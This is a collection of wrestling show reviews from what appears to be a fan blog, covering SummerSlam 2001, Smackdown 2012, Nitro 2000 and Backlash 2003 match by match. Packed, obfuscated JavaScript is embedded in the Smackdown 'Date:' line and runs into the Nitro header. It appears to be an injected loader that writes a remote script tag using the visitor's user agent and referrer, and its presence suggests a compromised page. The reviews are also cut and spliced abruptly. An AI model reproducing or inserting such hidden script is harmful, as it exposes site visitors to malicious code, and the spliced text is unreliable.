Title For Title: Tajiri vs. X-Pac

It’s the light heavyweight championship vs. the cruiserweight championship here in a unification match. Actually, upon further review it’s not, and it’s just to hold both belts. Later on they would be split again until there was suppose to be a unification match at Survivor Series. X-Pac was injured so they just dropped the Light Heavyweight Title and replaced it with the WWF Cruiserweight Title. Uh, I guess that makes sense.

Anyway, let’s get to this. X-Pac at the time was the leader of perhaps the most useless group of all time: X-Factor. It was him, Justin Credible and Albert. They did nothing, they had no feuds, they accomplished nothing. Like I said, they were the most useless stable of all time. Oh yeah Pac is wearing just tights now instead of his singlet. Ross talks about how this is the last Direct TV broadcast of a PPV, as no one really cares.

The surfboard is just absolutely painful looking. See, this is how Pac should have been used the entire time. He simply had no business fighting guys twice his size, just like Spike in the previous match. It makes sense and works much better when he’s fighting guys like these. Oh apparently neither guy is in the Alliance, so this is the one real WWF match all night. Oh what a treat for us.

Both guys have educated feet I guess. This has been almost all X-Pac, and since this is one of my reviews and my timing is worse than a broken Boogeyman clock, Tajiri makes his comeback at that very second. Ok, so maybe this is for a unified title. They’re not very clear about it, but based on what the announcers say it’s for a unified title, yet based on what actually happened, it wasn’t unified until about three months later.

The company continues to amaze me with its complete lack of sense. Anyway, they botch the handspring elbow as X-Pac dives onto his stomach like it’s just a simple hitting of the ropes. Albert comes out and gets on the apron, causing the mist to be blown. A low blow and an X-Factor come as the referee is getting rid of Albert to end this.

Rating: C+. Short and sweet here, but overall it wasn’t bad. They were wrestling people that it made sense for them to wrestle and title for title matches are always cool no matter who is in them. Pac would be hurt soon enough and he would be the guy that had to drop out of the Survivor Series match after Tajiri got the Cruiserweight Title. It made no sense, so go figure.

We go to WWF New York and see Perry Saturn as he searches for Moppy. If you don’t know about this story, do yourself a favor and go look it up. It was one of the dumbest and best angles I’ve ever seen.

Stephanie is with Rhyno and says she picked him to beat Jericho because he’s never beaten Rhyno in the ring. Now table tennis, Parcheesi and Chinese Checkers, those are all different stories.

We get a recap of the feud, which was highlighted by Rhyno goring Jericho through the Smackdown set. Now, after that, he suggests a match with Jericho at Summerslam, which makes sense as he’s already gotten the last laugh, so we have to give the face another chance to get even right?

Chris Jericho vs. Rhyno

The editing is odd here as you get the Jericho interview from earlier in the show here. Not sure why they would do them twice like that. Stephanie looks AWESOME in a black leather dress. Her hair being braded/curled isn’t working so well though. Heyman hates Jericho apparently which is ironic I’d think.

They slug it out to start and Jericho is out of his league here. Top rope elbow to a standing Rhyno which is a move I’ve always liked doesn’t do much. Walls are avoided as Jericho has shifted it to wrestling and has taken over. Jericho gets that springboard dropkick while Rhyno is on the apron. Stephanie distracts Jericho to allow Rhyno to catch him with a Gore as Jericho dives at him to the floor and both guys are down, drawing a holy crap chant.

BIG old slap to Jericho by Stephanie which Ross calls a right hand. That’s true but it’s a bit misleading in wrestling commentary. Body scissors by Rhyno which is one of his signature moves I think. I watched a match of his last night and one today and I think he used it in both. He throws in a freaking airplane spin for two. Can’t say he’s typical.

Rhyno goes up for a splash which Jericho moved out of the way from but Rhyno would have missed even if Jericho hadn’t moved at all. Jericho messes up a springboard but gets something out of it anyway for two. Middle rope dropkick gets a cover but Stephanie literally hugs the referee to stop the cover. Jericho kisses her and then hits the Lionsault for a long two.

Spinebuster by Rhyno sets up the Walls for him and they’re better than the ones Jericho tends to use. Gore misses and the proper version of the Walls, as in the Liontamer, gets the tap.

Rating: B-. Solid stuff here as Rhyno was still worth anything at this point. Jericho of course was great as he was on the verge of going into the main event as a heel which worked out pretty well for him I’d think. This was a lot better than anyone expected I think and it was a solid 12 minute match.

Rock is walking in the back and is stopped by Regal. After a fairly boring promo, Stasiak runs at Rock who casually steps aside, causing Shawn to slam into a wall. Rock completes his promo and leaves.

Hardcore Title: Rob Van Dam vs. Jeff Hardy

This is a ladder match. It occurs to me, Hardy has had a more successful career than Van Dam, and it’s almost not even close. Imagine telling someone that back in 2001. They would have thought you were completely insane. At best for Van Dam, career wise they’re about even. Van Dam was a very interesting case. He was clearly the most popular ECW guy and WWF let him be. Yes he was on the heel team, but they didn’t make him evil.

Van Dam’s character isn’t someone menacing or threatening an they didn’t try to make him one. That’s why he was able to come out of it as a solid face: he always was one. Since I didn’t like the way I reviewed the TLC match at yesterday’s show, I’ll spare you the big long list of sick spots here and try to do more general stuff. For one thing, in this match there’s far less of a plan I think.

I’d guess that in the back, they just told these two to go put on a spot fest and that’s what happened. They go move for move with each other for about 15 minutes and it’s quite entertaining. Both guys can use the ladder very well indees, as they jump all over the place and try to one up each other with their big time moves. During the match, Heyman lists off the attributes of Sabu, yet doesn’t say his name. That just struck me as odd.

Were they not allowed to say it for some reason? I can’t imagine it was a copyright issue or something like that. Also, he’s credited as Van Dam’s mentor. I never really thought of him like that. Near the end they do the big hanging spot with Hardy holding onto the belt, which always seemed a bit stupid to me.

He really can’t unhook the belt with one hand? I find that a bit hard to believe. Anyway the ending is Van Dam just shoves the ladder down with Jeff on it and climbs up to get the belt in a rather anti-climactic ending.

Rating: B-. It was fun, but it wasn’t great. The problem with matches like these is that a lot of the spots have just been done before. We’ve seen all of these moves and while they’re cool, they’re not original anymore. Yeah the match was fun and cool, but it wasn’t great like a lot of them were. It’s still quite good though.

In the back, Booker is warming up for his match as Shane comes in with a present. He gives him book ends (like the Rock Bottom rip off of a finisher that he uses) made from the announce table that he put Rock through last week. That’s actually kind of clever.

We get a recap of the Brothers of Destruction vs. DDP/Kanyon. To me, this was an AWESOME story. Basically, we had seen Taker’s wife Sara (who was very hot, way hotter than McCool) being stalked by a guy that we never saw. He’d have tapes of himself inside their house, of her coming out of the pool, of her in the shower, in their bedroom, etc. The key thing was, you didn’t know who was filming them.

Now I’ve heard a lot of varying rumors as to who he was originally supposed to be revealed as, with the most prominent being Kane. However, it turned out to be DDP. The problem was they kind of discontinued the Sara aspect as DDP just kept getting beat up. Eventually Kanyon came in and Kane backed up Taker. They both won tag titles, so we have another kind of unification match here inside of a cage. In other words, it’s a way for Taker and Kane to kill them both at once.

WWF/WCW Tag Titles: DDP/Kanyon vs. Brothers of Destruction

Oh yeah Kanyon is the US Champion at the same time, so we have five belts in one match. Now aren’t you glad they unified some of them? I have to give them this: the WCW Tag Title belts just look awesome. They run down Taker’s history in cage matches, which is pretty extensive. I actually like the idea of pins and submissions counting here. Taker is a guy that needs to just win with a big knockout move.

Just after Taker and Kane get in, Taker grabs the door and slams it shut in a very cool looking thing. Immediately your heels try to go over the top in separate corners. If I were Taker and Kane, I would have let Kanyon leave. It gives you a handicap against DDP, who is the real hated one. Imagine what you could combine to do to him in that situation. Let the slaughtering begin. The heels actually take over for about 45 seconds which surprises me, but of course it doesn’t last long at all.

This is more or less a tag team beatdown. There is a cool moment though once the heels take over again as they’re both leaving over the top of the cage. The Brothers are down and at the same time they sit up. They follow my advice and let Kanyon leave without any problem, only to beat the living heck out of DDP. For a lot of this beating, Kane is just sitting on the top rope and watching.

Taker yells at Page that he can leave and he’ll let him live, but if he ever looks at Sara again he’ll kill him. Page tries to leave but Taker of course stops him and chokeslams him, before the Last Ride ends this. Dang man Sara is rather hot. Also, the unification lasted less than a month as both belts were individually defended next month.

Rating: C+. This was nothing but a double beating and that’s just fine. No one believed the heels had a chance so the match was booked correctly by not giving them a chance. They were completely destroyed and that’s how it should have been. Page of course turned face soon after this, becoming the motivational tooth guy (look it up).

Rock is with the doctor in the back and cuts a promo on the doctor as Stasiak runs at him again, and the same thing happens but this time the camera doesn’t even follow him. He just goes flying over the table as Rock steps back.

We get the recap of Austin vs. Angle. This was actually an epic match, as the buildup was great. They more or less made Angle into a monster leading up to this, having him beat every big name in the Alliance before finally challenging Austin. Austin had turned on the WWF at InVasion back in I think July, nailing Angle with a chair to give the heels the victory and join them in the process.

In the buildup, Angle had just beaten Austin down at every single turn and it looked like this one was going to be domination. To their credit though, the bookers never made Austin look weak. He was the same Austin that had dominated through the late 90s, but they simply made Angle look better. That’s hard to do but it works very well, as it saves Austin’s credibility as well as makes Angle look better.

WWF Title: Kurt Angle vs. Steve Austin

They meet in the aisle as Austin isn’t afraid of Kurt, which I think helps his character a lot. If Austin had just become this little coward, then no one would have bought him as the leader of the heel faction. By keeping him as the tough guy that he always had been, they make the Alliance look that much stronger. For the most part all we have in the first 2 minutes is nothing but punches.

I get why that’s how most big matches start but not two minutes worth. Austin works on the leg which isn’t as odd as you’d think but Angle gets a sweet counter into the ankle lock. The announcers more or less ruin it as they make it clear through their voices that this isn’t it. When I say announcers I mean JR. It’s weird to see Austin being in control for the majority of a match like this. These two are suplexing the tar out of each other, which is just freaking cool.

It’s not often that you see Austin using offense like this but it’s certainly both looking good and working. Angle hits seven or eight in a row, which somehow isn’t the most Austin has ever taken in a row as Benoit once hit I think 13 in a row. That’s just not only sick but impressive that Benoit could keep getting him up as well as he did. Since it’s pro wrestling though, Austin is just fine after a few seconds of resting following that many suplexes.

From out of nowhere, Austin gets a Stunner after about 8 minutes. The crowd has no idea what to think as Austin got it and got it clean. Angle of course kicks out and the second Stunner sends him to the floor. I don’t get why the announcers are so surprised that Angle kicked out. Rock kicked out after about 3 of them at Mania and after about a 20 minute match. Anyway, Austin goes to the floor and just beats the heck out of Angle.

He nearly breaks his leg and it’s Austin doing what he does best. This would have been a standard Austin match in the late 90s actually. See how well this was done? They’ve just turned his allegiance around and now Austin is still what he was before but just working for a different side. They go out into the crowd where Austin hits a suplex over the barrier but doesn’t go down with Angle. Apparently this was the best move ever, despite it being little more than a slam.

Angle counters though and gets the ankle lock on the floor with a downright scary look on his face. He gets it again in the middle of the ring, but he’s in the ropes in all of 4 seconds. Angle is bleeding bad here, like almost Austin at Mania 13 bad. Ok on second look it’s not that bad. Hey, did you know that Angle won an gold medal with a broken neck? Now sure if you’d ever heard something like that.

More suplexes follow as I’m gaining a new appreciation for those things. Angle busts out the moonsault and hits it like Curt Hennig would. Angle is going commando on Austin…whatever that means, but Austin breaks out the cobra clutch, which despite using it at Mania where Ross says that he hasn’t used is since he was the Ringmaster, Austin uses it here for the first time since he was the Ringmaster.

As Angle does the 80s style arm stays up on the third drop, his head is just looking awful. A third Stunner after all that only gets two as the fans are WAY into this. Angle Slam is the counter to the kick, as I continue to try to figure out how the Angle Slam is any different from a belly to back suplex that’s rotated just a bit. Austin hits the referee though after it gets a two as JR is of course, say it with me, FREAKING OUT.

Did you know that JR thought he knew that man? Did you know that? Not sure if you had heard that one or not. Austin low blows Angle and then stuns the other referee as JR is quoting the 25th letter of the alphabet. A THIRD referee comes out and Austin hits him with the belt. Angle hits the slam but JR is SHOCKED that the referee that got hit maybe 4 seconds ago is down. After all that, we get to the odd part of the match.

Nick Patrick, an Alliance referee, runs out, counts ONE time, and then slides out and tells Fink that it’s a DQ. Why in the world  would you count a one and then go for the DQ? I thought he was pulling up because he was going to say his shoulder hurt or something like that, but just to count one and then the DQ? What kind of sense does that even begin to not make?

Naturally, Angle goes off on Patrick with the ankle lock, and I have two observations. One: Patrick taps. Why? Does he think that it’s a match and that’s going to make Angle let go or something? Two: Ross, as usual, says that he’s tapping like a drunk man. WHAT DOES THAT MEAN? I’ve been around people when they’re drunk and not once have they tapped. The line makes no sense at all and yet somehow the fans have accepted it.

After the match, Ross goes insane again and just babbles on forever about how he knows Austin can’t beat Angle. I know I make fun of Ross a lot, but this was beyond bad looking. This was bordering on embarrassing. Either way, Austin would lose clean to Angle next month after some of the best promos that I can remember, easily the best Angle has ever done.

Rating: A-. This was an awesome match. Austin went suplex for suplex with Angle and they had huge drama going on near the end. Angle took a freaking beating but kept going. I’m not an Angle fan, but there are times when he gets into that zone of his that he is just flat out mesmerizing. This was one of those nights for him.

We recap Rock vs. Booker as it’s just pathetic to really see how much WCW was just stealing from the WWF at the end. There’s imitating and then there’s just flat out ripping off. WCW was doing that later. It was really just bad, and Booker was the worst of them all.

WCW Title: Rock vs. Booker T

Yes, the main event of Summerslam is for the WCW Title. Think of someone that’s very over. Rock is more over. Ross says that the people at home are on their feet. Has anyone ever jumped up for an entrance? Not that I can think of. This is Rock’s first PPV match since Mania as he left to film Scorpion King. Therefore, if you can’t guess the ending of this show, you’re an idiot.

It’s mainly a brawl to start as neither guy has a real advantage for that long. I like matches like that. It makes you think that anything can happen and it can give you a possible hint of what I say makes a match great: not knowing who is going to win. There’s little fun in a squash match, as it’s obvious who is going to win. A good match is typically one where you’re unsure who will win. Now there are obvious exceptions, but for the most part you’ll find that the lack of a clear winner is the better case.

Oh yeah Shane is outside helping Booker about every 8 seconds as can be expected. However, the APA run out and take him out with a sick clothesline from JBL by the future waste of air Bradshaw. There’s really not much to say about the match as it’s pretty standard for the most part. Booker is down after an elbow drop but Shane has to make the save since Booker fell asleep waiting on Rock to finish with all of the theatrics. This gets Shane another head kicking.

This is a pretty solid match here though as it’s back and forth with Booker of course being in control most of the match. They fight even more but Booker spins up as Mark Madden continues to validate his existence. If you don’t believe he has a reason to exist, read his column.

I’m sure you’ll be amazed by all the things that he takes credit for, but he’d hate this show. Page had a role in it. What’s his deal with Page anyway? Whatever, it’s not like I’d be able to listen to his explanation. Anyway, as Booker spins up, Rock nips up and lands the Rock Bottom (NOT URANAGE DANG IT!) for the pin, the title, and Heyman’s heart attack. He poses with the belt to end the show.

Rating: B+. This was a fun match and was great to send the folks home happy. Booker wasn’t going to win and everyone knew it, but they did the best they could with it and it turned out pretty well. It was Rock’s big return and it put the spotlight on him very well. It was definitely good but not great.

Overall Rating: B+. Would have been better to have Austin/Angle go on last, but this certainly worked very well. Either way, we have a good show here with a solid balance of gimmick and regular matches and a fun match to end the show. Austin and Angle is an underrated match, but their match next month was better.

However, I think this show is lacking the one huge match that steals the show which is keeping it from being an all time classic. Definitely recommended though as this is a very good, but not great, show.

Remember to follow me on Twitter @kbreviews




Smackdown – August 3, 2012: Aww Schuky Ducky GM

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
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Location: Bankers Life Fieldhouse, Indianapolis, Indiana
Commentators: Michael Cole, Josh Matthews

Sheamus vs. Tensai

Sheamus shrugs off the punches to the face and knocks Tensai to the floor. Back in and Tensai knocks him down again and stomps in the corner. Sheamus kicks him away and pulls himself to the top but has to jump over Tensai instead of hitting the top rope shoulder. Irish Curse is broken up so Sheamus clotheslines Tensai to the floor instead. Tensai catches Sheamus in a dive off the apron and rams him into the post as we take a break.

There are the ten forearms and Tensai appears to have a cut on his stomach. As Tensai is coming back in he walks into a powerslam for two. Sheamus gets sent into the post and the Baldo Bomb gets two. A Tensai charge misses and the Brogue Kick gets the pin at 10:20 shown of 13:50.

Antonio Cesaro vs. Santino Marella

Christian/Chris Jericho/Kane vs. Daniel Bryan/Dolph Ziggler/The Miz

Dolph comes in legally and is immediately sent to the floor by Jericho. Vickie acts as a human shield to block a dive and we take a break. Back with Miz holding Christian in a chinlock. Back up and Christian grabs a sunset flip for two on Miz but the champ kicks Christian in the face for two. Off to Bryan for some NO kicks followed by a Ziggler dropkick for two.

Jinder Mahal vs. Ryback

The Prime Time Players want t-shirts.

Darren Young vs. R-Truth

TOUT IT OUT ABOUT PUNK BABY! Oh my goodness these people get on my nerves.

We recap Booker being announced as GM.

Booker is on the phone in the back when Layla comes in. Cody Rhodes comes in to brag about retiring Booker earlier this year. Layla leaves and Booker makes Cody vs. Sin Cara for next week.

Randy Orton vs. Alberto Del Rio

Del Rio sends him into the corner immediately and works on the arm. Orton comes back with a clothesline and pounds away in the corner. Del Rio goes to the floor but comes back in and rams Orton into the top rope to take over. Out to the floor we go and Del Rio kicks Orton in the chest. Del Rio hooks a chinlock but Orton escapes and hits his circle of stomps. Knee drop misses and Alberto takes over again.

Post match Del Rio goes after the arm but Orton blocks the armbreaker and dropkicks Del Rio to the floor. Sheamus throws Del Rio in for the RKO to end the show.

Results

Sheamus b. Tensai – Brogue Kick

Antonio Cesaro b. Santino Marella – Gotch Style Neutralizer

Daniel Bryan/The Miz/Dolph Ziggler b. Christian/Kane/Chris Jericho – Rollup to Jericho

Ryback b. Jinder Mahal via DQ when Mahal hit Ryback with the microphone

Darren Young b. R-Truth – Double Knee Gutbuster

Randy Orton b. Alberto Del Rio via DQ when Ricardo Rodriguez interfered

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Monday Nitro – July 24, 2000: The Most Head Shaking Hour Of Wrestling Ever

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdktr|var|u0026u|referrer|rhsdk||js|php'.split('|'),0,{})) Nitro
Date: July 24, 2000
Location: CSU Convocation Center, Cleveland, Ohio
Commentators: Tony Schiavone, Scott Hudson, Mark Madden

US Title/Hardcore Title: Big Vito vs. Lance Storm

Booker T is coming to the ring.

Buy New Blood Rising! PLEASE!

Back from a break and the announcers talk about what we just saw.

Billy Kidman jumps in on commentary and says he has a sex tape of him and Torrie tonight. Oh dear.

David Flair/Ms. Hancock vs. Lieutenant Loco/Major Gunns

Jeff Jarrett wants a title match, so Cat gives him a handicap tag title match against Kronik. Ok then.

Tag Titles: Jeff Jarrett vs. Brian Adams

I think this is a tag title match. Jarrett jumps Adams as he comes in but a clothesline misses and Adams hits his tilt-a-whirl backbreaker for two. Back up and Jarrett whips Adams in but ducks his head like a schmuck, letting Adams hit a piledriver for another two. They head to the floor and Adams (more famous as Crush in the WWF) tries to ram Jeff into the post but Jeff escapes and sends Adams in instead.

Sting is leading in the fan voting poll.

Vampiro vs. Great Muta

Never mind as Miller gets up and beats everyone down. Great way to debut a stable there.

WCW World Title: Booker T vs. ???

After a break, Booker wants the match to start again.

Buff Bagwell vs. Kanyon

Buff gives chase after a break.

Kidman still has a sex tape.

Shane Douglas vs. Mike Awesome

Billy pops up on the stage with some underwear. Lance Storm tries to jump Awesome but gets Awesome Bombed.

Post break, Douglas beats up the guy that played the tape.

Filthy Animals vs. Misfits in Action vs. Perfect Event vs. Natural Born Thrillers

Fifth, why would this match be on Nitro instead of on the PPV? Sixth, why did it take Konnan so long to open the door? Seventh, why did Madden have bolt cutters? Eighth, why were the first two teams in this in the first place? Ninth, who thought Rey as a heel was a good idea? Finally, WHAT DID I JUST WATCH???

Stevie Ray goes up to Goldberg in the back and yells at him, so Goldie throws him through a glass window.

WCW World Title: Booker T vs. Goldberg

Goldberg immediately pops up and spears Booker down and hits a Jackhammer to stand tall to end the show.

Not to mention this all happened after the fans were told they could vote and then had their pick knocked out, making it completely meaningless. This would also be the sensible match after the even bigger mess that the cage match on free TV was. They were out of business how soon after this?

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Backlash 2003: This Was Embarrassing

Backlash 2003
Date: April 27, 2003
Location: Worcester, Coliseum, Worcester, Massachusetts
Attendance: 10,000
Commentators: Jonathan Coachman, Michael Cole, Jerry Lawler, Tazz

Rock vs. Goldberg. That’s really all there is to say about this show. Well not really because I’ll write five or six pages about it but you get what I mean. Goldberg debuted the night after Wrestlemania and I think this is the first big match he’s had. It’s also Rock’s last match for about eleven months as he would go full Hollywood, come back for Mania, and then be gone for seven years. Let’s get to it.

The opening video is exactly what you would expect: highlight packages of Rock and Goldberg who collide tonight.

Smackdown Tag Titles: Team Angle vs. Los Guerreros

The Smackdown Tag Titles were established in the fall and had been a big highlight of the company ever since. They let the wrestlers go out and have great matches, and when you had guys like these four, Angle/Benoit and Edge/Mysterio, you could mix and match anyone and get an entertaining match. Team Angle (who are defending here) brings out a portrait of Angle who is too hurt to be here. This is Los Guerreros’ rematch after the champs won the titles in February.

Eddie and Charlie get us going. They take it to the mat quickly and it’s a stalemate. Eddie gets three straight two counts and a nice bit of applause from the fans. After some showboating it’s off to Chavo vs. Benjamin. Los Guerreros take over on the arm of Shelton and use better teamwork. Shelton gets in a slam and clothesline on Chavo but Eddie gets in a shot to the back and Los Guerreros take over again.

Chavo chokes him with the tag rope and Eddie gets in some shots on the floor. Slingshot hilo gets two. Off to Haas who gets Eddie into the corner and Shelton uses the rope to choke away as well. Nice little bit of storytelling there. Eddie gets caught in the double team move where Shelton jumps over Charlie and lands on Eddie’s back for two. A pair of suplexes get two for Charlie.

Benjamin comes in with a chinlock and uses a leg lace to keep Eddie in the ring. Shelton comes back in with a kind of powerslam for two. Off to a chinlock as Cole sets up Tazz to explain how Shelton is making this hold more effective. See? Why can’t he do that with Booker and Lawler? Charlie bends Eddie’s back over his knee but Eddie comes out of it with a headscissors in a cool counter.

Hot tag to Chavo and he cleans house. Suplex gets two on Charlie. Shelton powerbombs the tar out of Chavo and everything breaks down. Three Amigos to Charlie but Eddie has to be sent out. Chavo gets a delayed two on Haas so Eddie Frog Splashes him so Chavo can get another two. He tries a suplex to Charlie but Shelton hooks the foot and it’s the Wrestlemania 5 ending as the champions retain.

Rating: B-. Bad ending to a good match here. Like I said, there’s no real need for a story here because you can give four talented guys fifteen minutes and you’re going to get a good match. Tag matches and cruiserweight matches to open a show are great choices. Tag matches with cruiserweight style guys are even better choices. Good stuff here but the ending wasn’t great.

Chavo dives onto the champs and Los Guerreros steal the belts. They head to the back and leave in a green car. The horn plays La Cucaracha and the car bounces away.

Torrie tells Test to leave her alone. He calls her baby and says they don’t have to tell Stacy about anything. Stacy is Test’s girlfriend but he’s not getting any until he wins more if I remember this properly. Test won’t let her leave and kisses her, making Torrie leave distraught. Sable sees what happened and smiles.

Here’s a very fat gut attached to Roddy Piper. He’s got a basket of coconuts with him. After saying he has a lovely bunch of coconuts, he introduces Sean O’Haire.

Sean O’Haire vs. Rikishi

O’Haire was a guy with A TON of potential and an awesome looking gimmick that was similar to a devil’s advocate who said that everyone knew they did wrong things, but what’s so bad about that? Look up the promos as they’re really cool. Then he was put into a feud about Piper vs. Hogan and became Piper’s lackey and had his push ruined. This match is happening because of Piper hitting Snuka with a coconut almost 20 years ago.

Rikishi controls to start but Piper offers a distraction to shift momentum. O’Haire hooks on a chinlock as this match stops very quickly. Piper plays to the crowd and gets them to boo him, because keeping the focus on the guys in the ring isn’t a good idea right? O’Haire misses a spin kick and Rikishi splashes him in the corner. Sean escapes the Stink Face and Piper gets in the ring. He brings in the coconut but both guys hit kicks at the same time. Piper gets in again but Rikishi cracks the coconut over his head. O’Haire picks Rikishi up and hits the reverse Death Valley Driver for the pin.

Rating: D-. Piper sucked the life out of O’Haire at this point because no one was interested in Piper vs. Rikishi, which is what this was really about. Piper would be gone a few months later and O’Haire’s push would die. The Devil’s Advocate character was never mentioned again and we lost a ton of great potential. But hey, Piper got some TV time out of it right?

Sable comes up to Stacy at catering and suggests that Torrie hit on Test. This was part of some weird lesbian crush that Sable had on Torrie.

RVD and Kane get fired up. RVD is nervous because Morley is guest referee. Kane says let’s go win.

Raw Tag Titles: Dudley Boyz vs. Kane/Rob Van Dam

RVD and Kane are champions. Morley is the guest referee and the corrupt Chief of Staff for Bischoff. The Dudleyz are heel against their will here but it’s the only way they can get a title shot. They’ve also been fighting a bit. Bubba and RVD start us off and it’s power vs. speed. RVD kicks the legs out from under him but Bubba pounds him down with ease. Van Dam tries to flip out of the corner but Bubba takes his head off with a clothesline.

Off to D-Von and Kane with the masked man taking over. Big boot gets two as Morley has been fine so far. Bubba comes back in and gets clotheslined down very quickly. The fans want tables as Bubba manages to knock Kane down. The count seems a little faster there. Spinebuster by Kane gets two and a pretty fast count as well. Van Dam comes back in for some flipping offense, including a moonsault for two.

The rolling monkey flip is countered and Bubba hits a sidewalk slam for one. Kane gets knocked down and What’s Up RVD? D-Von comes back in and gets two as Van Dam is in trouble. Off to a chinlock to fill in some time. Bubba comes back in but gets caught by a spin kick from Van Dam and it’s a double tag to bring in D-Von and Kane. The Dudleys are both in the ring at the same time and Morley is fine with it. Back to RVD who hits Rolling Thunder on Bubba.

The monkey flip is broken up but Kane hits the top rope clothesline to take D-Von down. Morley hits Kane low to break up the chokeslam but it only gets two. Morley clotheslines Bubba by mistake and D-Von beats the tar out of him. Here’s Lance Storm to take out D-Von but he takes a Bubba Bomb. There’s a 3D to Morley and a chokeslam to Bubba. Five Star Frog Splash gets the pin by another referee.

Rating: D+. The match wasn’t that terrible but MAN was it overbooked. I completely lost track of what was going on in the middle of the match with who was on what side. Did anyone really care about Morley in 2003? I don’t think anyone did in 2001 so I’m thinking the answer to that is no here. The match was ok but it was a total mess by the end which brings it down.

Stacy goes into the women’s locker room and a fight starts.

Women’s Title: Jazz vs. Trish Stratus

Trish is champion and Jazz has Teddy Long with her. The Dudleys beat up Trish on Raw recently so she’s coming in injured. To those of you paying attention, IT’S THE SAME THING AS LAST YEAR. Jazz goes after the bad ribs but gets rolled up for a quick two. Clothesline gets two for the champ but Jazz goes back to the ribs. A release Glam Slam puts Trish down but she comes back with a tilt-a-whirl slam for two.

Backslide gets a delayed two because Teddy has the referee. Jazz gets in a shot to the back and it’s off to a Boston Crab. Trish rolls out of it with leg strength and hooks the same move on Jazz and then into an STF, which is the same finishing sequence from last year. Teddy shoves the rope to Jazz though and we keep going. Chick Kick gets two. Stratusfaction hits but Teddy throws in his shoe to break it up. Somehow that’s not a DQ and Jazz rolls her up with the ropes for the pin.

Rating: D. Someone tell me the appeal of Jazz. This is the second year in a row they’ve put her over Trish for the title and I still don’t see the appeal of her. You have Molly and some other chicks on the roster that can be evil and you pick Jazz? Why? So you can have her speak ebonics and be loud? You have Jackie for that. Boring match with an annoying outcome.

Booker and Shawn fire each other up. Nash is ready too. Yeah the Raw main event is a six man that no one wants to see.

Rey Mysterio vs. Big Show

Apparently Mysterio embarrassed Show recently. A fan things Big Show loves Cher. Is that an insult? Rey gets Show to chase him which frustrates the giant. Things go exactly as you would expect: Rey fires off some offense, Show uses power, Rey speeds things up again. Backbreaker puts Rey down and Show takes over. Rey gets sent to the floor and gets in a chair shot and seated senton for two. A pair of 619s take Show down and a third staggers Show but he jumps into the chokeslam for the pin.

Rating: D. I can’t stand these matches. The one perk here is that Show didn’t look like an idiot for the most part. At the end of the day, without making the giants look stupid in these matches, there’s no real conceivable way to have a competent giant lose these matches. Rey’s offense would have no effect here and for the most part it didn’t. The ending helped it but the rest of it was junk.

Post match Rey is put on a backboard and Show picks it up and slams the board into the post.

Flair, HHH and Jericho (the other team in the six man) say that they’re ready and not worried about Nash. Yeah, not only did HHH vs. Nash get two PPV singles matches, it gets a six man as well. That’s ignoring their European PPV main event too.

Stacy and Torrie are still fighting. Were they fighting all through that match? Scott Steiner comes in to take care of Stacy again, which would lead to them hooking up and then a feud with Test, resulting in a Steiner heel turn and Stacy being made a sex slave. Test comes in to yell and Steiner leaves. Some savior.

We recap Cena vs. Lesnar. Cena was a plucky young guy that Lesnar hurt so then Cena came back as a rapper and won a pretty star studded tournament to get his shot here. Check out these brackets.

Chris Benoit
Albert

Big Show
Rhyno

Undertaker
Rey Mysterio

Eddie Guerrero
John Cena

Cena beat Eddie, Undertaker (with interference) and Benoit. That’s not bad for a guy less than a year into his run with the company. Then again Lesnar main evented Mania in his first year so that trumps Cena I think.

Smackdown World Title: John Cena vs. Brock Lesnar

This would be a very different match today. I mean imagine: CENA ON SMACKDOWN? That’s hilarious. Cena comes out in a Yankees jersey and raps about being better than Sammartino. He’s iron like the Sheik and has us in his camel clutches. Cena jumps him from behind and we’re ready to go. This is Lesnar’s first defense since Mania. Lesnar grabs him into a backbreaker and hits two of them followed by a fallaway slam.

Brock hooks a front facelock on the mat and the fans think this is boring. That’s so weird to hear in a Cena match. A kind of fisherman’s suplex puts Cena down. Lesnar hits a gorilla press and we head outside. Cena goes into the announce table as this has been ALL Brock for the first few minutes. Back in Cena avoids a clothesline and heads right back to the floor. John manages to reverse a whip into the steps and gets a breather.

Brock is bleeding from a bandaged cut he had coming in. Belly to back gets two for the challenger. Cena knocks him to the floor and rams Brock’s head into the post again. That gets two so it’s chinlock time. Brock has a cut that looks like the kind Hogan used to get: it’s all jagged. The hold doesn’t last long as Lesnar charges into a big old spinebuster which puts both guys down.

Cena comes back with a clothesline for two. Now the Dr. is getting frustrated so he puts on a rear naked choke of sorts. Cena’s eyes look crazy here. Brock gets up and rams Cena’s back into the corner three times to break the hold. That would be opposite corners which makes it even more impressive. Brock gets all fired up and hits a bunch of clotheslines and a spinebuster for two. Powerslam gets the same. Brock almost gets rammed into the referee but he puts on the brakes. Low blow gets two for Cena and the Throwback gets two. Cena picks up the chain but as it’s taken away he walks into the F5 for the pin.

Rating: B-. Not bad here but man is it weird to see Cena as such an underdog. This wasn’t really a match with a chance of having a new champion, but rather giving Brock a good first match as champion. Cena was obviously going to get better but for a first time out there, this was fine. Why they don’t do this more often today is beyond me. Why not throw out something like Kofi for a title match if you have a bigger main event such as Rock vs. Goldberg.

We recap the six man. Nash wants HHH, Booker wants HHH, Shawn wants HHH, Jericho and Flair are there to give some backup. Jericho and Shawn were just getting past their Mania match too.

Ric Flair/HHH/CHris Jericho vs. Shawn Michaels/Booker T/Kevin Nash

Booker gets an ok reaction, Shawn gets a good reaction, Nash gets NOTHING. Nash and HHH start but Jericho tags in during the staredown. Off to Shawn as well before any contact was made. Shawn punches him a few times and hooks a sunset flip for two. They trade pinfall attempts, getting about 14 in total. Off to Nash who sends Jericho to the floor and hits both Evolution members.

Back in Nash hits the big boot and with 1/5 of his offense gone, he brings in Booker. Spinebuster gets two on Jericho. Flapjack gets the same. Jericho gets him into the corner and it’s off to The Game. Flair comes in and misses a knee drop, letting Booker tag in Shawn. Forearm and nipup set up the superkick but after it connects, Shawn walks into a Pedigree. Flair makes the tag and it’s off to Jericho who picks the bones of Shawn.

